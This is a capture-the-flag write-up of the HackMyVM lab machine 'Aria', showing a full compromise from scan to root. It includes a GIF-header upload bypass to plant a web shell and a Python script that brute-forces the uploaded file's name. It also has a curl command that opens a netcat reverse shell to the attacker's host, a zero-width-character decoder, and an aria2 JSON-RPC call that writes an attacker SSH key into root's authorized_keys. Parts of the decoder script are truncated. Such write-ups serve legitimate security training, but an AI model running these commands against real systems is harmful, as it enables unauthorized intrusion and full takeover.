05/10/25

ARIA

hackmyvm

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Hey! A new machine means new things to learn - let's dive into this easy box and pick up some cool tricks!

Recon

to scan this machine we gonna use nmap

bash
ζ nmap -sCV 192.168.138.122 -p-                                                                                   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 16:47 EDT
Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 16:50 (0:00:40 remaining)
Nmap scan report for 192.168.138.122
Host is up (0.028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
|_http-server-header: Apache/2.4.62 (Debian)
1337/tcp open  waste?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, RPCCheck: 
|     --- Aria Debug Shell ---
|     Type 'exit' to quit ---
```python

The results showed 3 open ports:

- port 22
- Port 80 (HTTP)
- Port 1337 (Unknown service) Waste????

## Web

I started interacting with the website. It’s an image upload site, so I tried common techniques to bypass the file extension restriction, but they didn’t work. Then I tested different headers for various image types like JPEG and GIF, and the GIF header (`GIF89a`) worked.

After finding the right header, I injected a simple web shell using `' >shell.gif

The problem now was to brute-force the file name to find the uploaded web shell. I tried manually retrieving the timestamp by manipulating JavaScript, editing the HTML, and experimenting in the browser console, but nothing worked. The brute-force script I wrote also failed. I then checked port 1337 while uploading to see if something appeared there, but nothing showed up.  
So, I created a Python script to generate the payload and retrieve the correct timestamp automatically. I think that was the main issue with the first script because I had to provide the timestamp manually. This new script uploads the payload and brute-forces the URL until it finds the correct web shell location.

```python
import hashlib
import time
import requests
import threading
from queue import Queue

# ===== Configuration =====
upload_url = "http://192.168.138.122/upload.php"
base_url = "http://192.168.138.122/uploads/"
filename = "shell.gif"
threads = 10
stop_flag = threading.Event()
queue = Queue()

# ===== Upload file =====
payload_content = b'GIF89a\n'
with open(filename, "wb") as f:
    f.write(payload_content)

upload_time = int(time.time())
with open(filename, "rb") as f:
    files = {"file": (filename, f, "image/gif")}
    requests.post(upload_url, files=files)

# ===== Bruteforce time =====
for t in range(upload_time - 1, upload_time + 2):
    for rand_num in range(1, 1001):
        md5_hash = hashlib.md5(f"{t}{rand_num}".encode()).hexdigest()
        url = f"{base_url}{md5_hash}.gif"
        queue.put(url)

# ===== Worker =====
def worker():
    while not stop_flag.is_set():
        try:
            url = queue.get_nowait()
        except:
            break
        try:
            r = requests.get(url, timeout=2)
            if r.status_code != 404:
                print(url)
                stop_flag.set()
                exit(0)  # Exit immediately when found
        except:
            pass
        finally:
            queue.task_done()

# ===== Start threads =====
thread_list = []
for _ in range(threads):
    t = threading.Thread(target=worker)
    t.start()
    thread_list.append(t)

queue.join()
stop_flag.set()
```bash

When the script finds the URL for the GIF, stop it manually (Ctrl+C) since it won’t stop automatically.

After obtaining the web shell, we can set up a listener:

```bash
ζ curl http://192.168.138.122/uploads/fcaf664b8ea59a3ea0470d79fbbeae7f.gif\?commande\=busybox%20nc%20192.168.138.102%204444%20-e%20%2Fbin%2Fbash

Start a listener with Netcat:

bash
ζ nc -vlnp 4444                                                                                                   
listening on [any] 4444 ...
connect to [192.168.138.102] from (UNKNOWN) [192.168.138.122] 47320
whoami
www-data

We’re inside the machine as www-data. Next, we’ll check if we can escalate to the user.
By the way, we can already read the user flag with our current privileges.

I tried several times to see if there was any database or sensitive file that could lead to the user, but one thing stood out: a local service running on port 6800.

bash
www-data@Aria:/var/www/html/uploads$ ss -nltp
ss -nltp
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port    
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*       
LISTEN    0         5                  0.0.0.0:1337             0.0.0.0:*       
LISTEN    0         128              127.0.0.1:6800             0.0.0.0:*       
LISTEN    0         128                   [::]:22                  [::]:*       
LISTEN    0         128                      *:80                     *:*       
LISTEN    0         128                  [::1]:6800                [::]:*

When I ran ps aux, I saw /usr/bin/aria running as root:

bash
www-data@Aria:/var/www/html/uploads$ ps aux

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root         338  0.0  0.1  56660  3464 ?        Ss   16:44   0:00 /usr/bin/aria

So, I decided to interact with aria2 using curl:

bash
www-data@Aria:/home/aria$ curl -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","id":"1","method":"aria2.getVersion"}' http://localhost:6800/jsonrpc
{"id":"1","jsonrpc":"2.0","error":{"code":1,"message":"Unauthorized"}}

We don’t have authorization, so we need a token or session. I suspected steganography might be involved, so I used xxd on several files and found something interesting in user.txt:

bash
www-data@Aria:/home/aria$ which xxd
which xxd
/usr/bin/xxd
www-data@Aria:/home/aria$ xxd user.txt	
xxd user.txt
00000000: 666c 6167 7b75 7365 722d 6431 3361 6461  flag{user-d13ada
00000010: 6463 3662 6263 3133 3931 3339 3461 3531  dc6bbc1391394a51
00000020: 3938 6362 6132 6431 6437 7d0a e280 8be2  98cba2d1d7}.....
00000030: 808c e280 8ce2 808c e280 8be2 808c e280  ................
00000040: 8be2 808b e280 8be2 808c e280 8ce2 808b  ................
00000050: e280 8ce2 808c e280 8ce2 808c e280 8be2  ................
00000060: 808c e280 8ce2 808b e280 8ce2 808b e280  ................
00000070: 8ce2 808c e280 8be2 808c e280 8ce2 808b  ................
00000080: e280 8be2 808c e280 8be2 808c e280 8be2  ................
00000090: 808c e280 8ce2 808b e280 8ce2 808c e280  ................
000000a0: 8ce2 808b e280 8be2 808b e280 8ce2 808c  ................
000000b0: e280 8ce2 808b e280 8ce2 808b e280 8be2  ................
000000c0: 808b e280 8ce2 808b e280 8be2 808b e280  ................
000000d0: 8be2 808b e280 8be2 808c e280 8ce2 808b  ................
000000e0: e280 8ce2 808c e280 8be2 808c e280 8be2  ................
000000f0: 808c e280 8ce2 808b e280 8be2 808b e280  ................
00000100: 8be2 808c e280 8be2 808c e280 8ce2 808c  ................
00000110: e280 8ce2 808b e280 8ce2 808b e280 8be2  ................
00000120: 808c e280 8ce2 808b e280 8be2 808c e280  ................
00000130: 8be2 808c e280 8be2 808b e280 8ce2 808b  ................
00000140: e280 8ce2 808c e280 8be2 808c e280 8be2  ................
00000150: 808c e280 8ce2 808c e280 8be2 808b e280  ................
00000160: 8ce2 808c e280 8be2 808c e280 8ce2 808b  ................
00000170: e280 8be2 808c e280 8be2 808c e280 8be2  ................
00000180: 808c e280 8ce2 808b e280 8be2 808b e280  ................
00000190: 8ce2 808c                                ....

With some help from CHATGPT, I realized there were hidden characters in the flag (zero-width characters). Using stegzero.com didn’t work , so I wrote a script to decode Zero-Width Space (ZWSP) and Zero-Width Non-Joiner (ZWNJ) characters.

bash
#!/usr/bin/env python3
# zw_decode.py
# Usage: python zw_decode.py input.txt
import sys

data = open(sys.argv[1], "rb").read() if len(sys.argv)>1 else sys.stdin.buffer.read()

# Find UTF-8 sequences for U+200B U+200C U+200D
seq = []
i = 0
while i  '0', 0x8C -> '1', 0x8D -> separator
bits = []
for b in seq:
    if b == 0x8B: 
        bits.append('0')
    elif b == 0x8C: 
        bits.append('1')

def chunks(lst, n): 
    for i in range(0, len(lst), n):
        yield lst[i:i+n]

# Decode the bits to text
out = []
for byte_bits in chunks(bits, 8):
    if len(byte_bits) < 8: 
        break
    val = int(''.join(byte_bits), 2)
    out.append(val)

try:
    decoded = bytes(out).decode('utf-8', errors='replace')
except:
    decoded = repr(bytes(out))

print(decoded)

This script decodes the hidden message and reveals the token:

bash
ζ python3 decode1.py user.txt                                                                                                     
token: maze-sec

Now that we have the token, let’s go back to aria and use curl again. With this token, I tried overwriting /etc/passwd and creating a malicious SUID binary, but it didn’t work. Then I tried using my own attacker.pub as an authorized key and it worked.

bash
www-data@Aria:/tmp$ curl -H "Content-Type: application/json" -H "Authorization: Bearer maze-sec" -X POST http://localhost:6800/jsonrpc -d '{"jsonrpc": "2.0", "id": "1", "method": "aria2.addUri", "params": ["token:maze-sec", ["http://192.168.138.102/attacker.pub"], {"dir": "/root/.ssh/", "out": "authorized_keys"}]}'
{"id":"1","jsonrpc":"2.0","result":"075d4bdd168c83e0"}

Before executing this command, set up a local web server hosting your SSH public key:

bash
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.138.122 - - [05/Oct/2025 18:31:17] "GET /attacker.pub HTTP/1.1" 200 -

Finally, connect as root using your private key:

text
ζssh root@192.168.138.122 -i attacker
Linux Aria 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Aria:~#

ROOTED

Pizza